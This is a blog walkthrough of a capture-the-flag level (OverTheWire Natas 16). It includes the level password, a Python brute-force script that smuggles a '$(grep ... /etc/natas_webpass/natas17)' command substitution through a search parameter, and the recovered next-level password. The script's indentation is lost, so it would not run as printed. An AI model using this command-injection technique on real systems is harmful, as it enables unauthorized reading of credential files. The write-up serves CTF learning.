OverTheWire:- Updated Natas Walkthrough — Level 16

Samxia99
3 min readApr 6, 2024

--

Hello everyone, I would like to share how I solved Nastas CTF also Here is the updated password, I hope this write-up will be helpful.

hello Folks!!! it’s a samxia99

My Bio link:-https://beacons.ai/samxia99

Greetings everyone! I’m excited to share with you how I was able to successfully conquer a CTF challenge. Through this write-up, I’ll provide a clear explanation of my techniques and strategies, and I’m confident that it will greatly benefit those who are interested in CTF challenges. So, sit back, relax, and let me take you on an informative journey.

Just a quick reminder that the game has been updated, so the password has also been changed. I hope this password is helpful!

Natas Level 15 → Level 16

  • Here are the login details.
Username: natas16
URL: http://natas16.natas.labs.overthewire.org
  • After logging in we can see this page.
  • let’s view the source code.
  • There is not much here but we can guess this level is Boolean Based Blind Command Injection. so let’s try to use the script like last time and brute force it. Here is the script give name .py and save.
import requests
from requests.auth import HTTPBasicAuth

username = 'natas16'
password = 'TRD7iZrd5gATjj9PkPEuaOlfEjHqj32V'

characters = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'

out = ""
for i in range(0, 32):
for j in characters:
command = f"^$(grep -o ^{out+j} /etc/natas_webpass/natas17)A"
payload = {'needle': command, 'submit': 'search'}
result = requests.get('http://natas16.natas.labs.overthewire.org/', auth=HTTPBasicAuth(username, password), params=payload)
str1 = result.text
# print(str1)
start = str1.find('<pre>\n') + len('<pre>\n')
end = str1.find('</pre>')
str2 = [x for x in str1[start:end].split('\n')]
if str2[0] != "African":
out += j
print(out)
break
print(out)
  • we can run this script in the terminal and brute-force it. NOTE:- This will take some time.
  • Boom !!! Here we get the password in last.
Pass:-XkEuChE0SbnKBvH1RU7ksIb9uuLmI7sd

Hopefully, this write-up will be useful for everybody, I have tried to make it easy to read.

Next level:-https://medium.com/@samarthkokil64/overthewire-updated-natas-walkthrough-level-17-00dd519c7689

Previous level:-https://medium.com/@samarthkokil64/overthewire-updated-natas-walkthrough-level-15-951493ef7d30

PS:- THANKS FOR READING

--

--

Samxia99

This is for me to document my journey through hacking, CTFs and Hacker tool's | i also love to read novel.